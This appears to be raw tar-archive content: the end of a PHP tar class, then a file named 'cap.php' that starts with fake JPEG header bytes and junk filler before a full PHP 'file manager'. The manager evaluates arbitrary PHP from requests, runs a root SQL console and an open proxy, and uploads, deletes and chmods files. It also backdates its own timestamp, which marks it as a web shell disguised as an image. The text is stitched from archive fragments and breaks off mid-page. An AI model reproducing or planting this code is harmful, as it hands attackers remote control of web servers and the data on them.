		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
